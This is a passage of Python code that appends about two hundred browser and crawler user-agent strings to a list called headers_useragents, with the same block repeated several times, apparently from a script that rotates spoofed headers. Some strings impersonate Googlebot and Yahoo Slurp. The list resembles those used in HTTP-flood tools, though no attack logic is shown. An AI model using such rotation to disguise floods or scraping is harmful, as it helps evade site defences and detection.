  1221.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1222.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1223.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1224.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1225.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1226.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1227.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1228.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1229.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1230.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1231.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1232.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1233.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1234.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1235.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1236.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1237.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1238.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1239.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1240.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1241.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1242.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1243.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1244.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1245.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1246.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1247.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1248.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1249.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1250.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1251.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1252.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1253.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1254.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1255.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1256.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1257.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1258.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1259.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1260.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1261.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1262.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1263.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1264.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1265.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1266.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1268.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1269.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1270.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1271.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1272.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1273.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1274.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1275.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1276.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1277.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1278.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1280.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1281.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1282.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1283.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1284.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1285.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1286.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1287.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1288.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1289.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1290.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1291.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1292.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1293.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1294.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1295.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1296.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1297.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1298.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1299.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1300.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1301.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1302.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1303.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1304.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1305.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1306.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1307.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1308.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1309.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1310.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1311.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1312.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1313.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1314.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1315.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1316.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1317.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1318.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1319.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1320.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1321.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1322.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1323.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1324.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1325.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1326.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1327.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1328.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1329.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1330.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1331.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1332.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1333.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1334.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1335.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1336.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1337.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1338.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1339.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1340.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1341.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1342.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1343.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1344.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1345.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1346.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1347.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1348.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1349.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1350.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1351.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1352.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1353.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1354.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1355.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1356.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1357.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1358.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1359.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1360.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1361.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1362.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1363.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1364.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1365.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1366.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1367.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1368.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1369.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1370.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1371.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1372.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1373.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1374.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1375.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1376.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1377.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1378.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1379.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1380.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1381.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1382.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1383.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1384.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1385.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1386.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1387.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1388.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1389.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1390.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1391.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1392.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1393.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1394.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1395.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1396.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1397.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1398.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1399.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1400.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1401.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1402.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1403.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1404.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1405.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1406.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1407.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1408.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1409.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1410.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1411.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1412.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1413.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
